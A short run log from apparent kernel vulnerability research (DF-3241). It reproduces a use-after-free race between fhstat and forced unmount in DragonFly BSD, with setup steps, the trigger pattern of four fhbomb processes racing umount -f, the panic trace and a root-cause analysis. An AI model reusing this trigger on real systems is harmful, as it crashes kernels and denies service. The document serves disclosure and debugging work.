DF-3241 / run.log
DF-3241 baseline run (STOCK kernel, DragonFly 6.5-DEVELOPMENT #0 X86_64_GENERIC)
Host transcript (2026-09-09 ~05:15 UTC):
$ bash findings/poc/DF-3241/build.sh
BUILD_OK
$ vm.sh run_root 'rm -f /root/race.log /root/u.img; \
(ROUNDS=3 NBOMB=4 nohup sh /root/poc/race.sh >/dev/null 2>&1 &); \
sleep 35; tail -40 /root/race.log'
<ssh session HUNG — no reply before host-side 70s timeout>
$ vm.sh status
down
race.sh setup steps that completed before the hang (from serial log):
+ dd if=/dev/zero of=/root/u.img bs=1m count=64
+ vnconfig -c vn0 /root/u.img
+ newfs /dev/vn0 (vn0: MBR magic not found; assume a COMPATIBILITY_SLICE)
+ mount -t ufs /dev/vn0 /mnt ; getfh ; umount
+ SANITY_OK (implicit: script exits on failure before starting fhbomb)
+ fhbomb x4 started, mount/umount -f loop entered
Serial console (panic — full capture in panic.txt):
Fatal user address access from kernel mode from fhbomb at ffffffff80910b3b
Fatal trap 12: page fault while in kernel mode
cpuid = 3; lapic id = 3
fault virtual address = 0x18
fault code = supervisor read data, page not present
instruction pointer = 0x8:0xffffffff80910b3b
...
current process = 1086 (fhbomb)
kernel: type 12 trap, code=0
CPU3 stopping CPUs: 0x00000037
Stopped at ffs_fhtovp+0xb: movq 0x18(%rax),%r9 # rax = mnt_data = NULL
Interpretation:
fault address 0x18 == offsetof(struct ufsmount, um_fs)
fhstat() resolved the fsid via vfs_getvfs() in the window where
VFS_UNMOUNT already freed the ufsmount (mnt_data = 0) but the mount is
still in the fsid RB-tree (mountlist_remove not yet reached).
Panic occurred within the FIRST driver run (ROUNDS=3), i.e. the window
is hit on effectively the first umount with 4 spinning fhstat processes.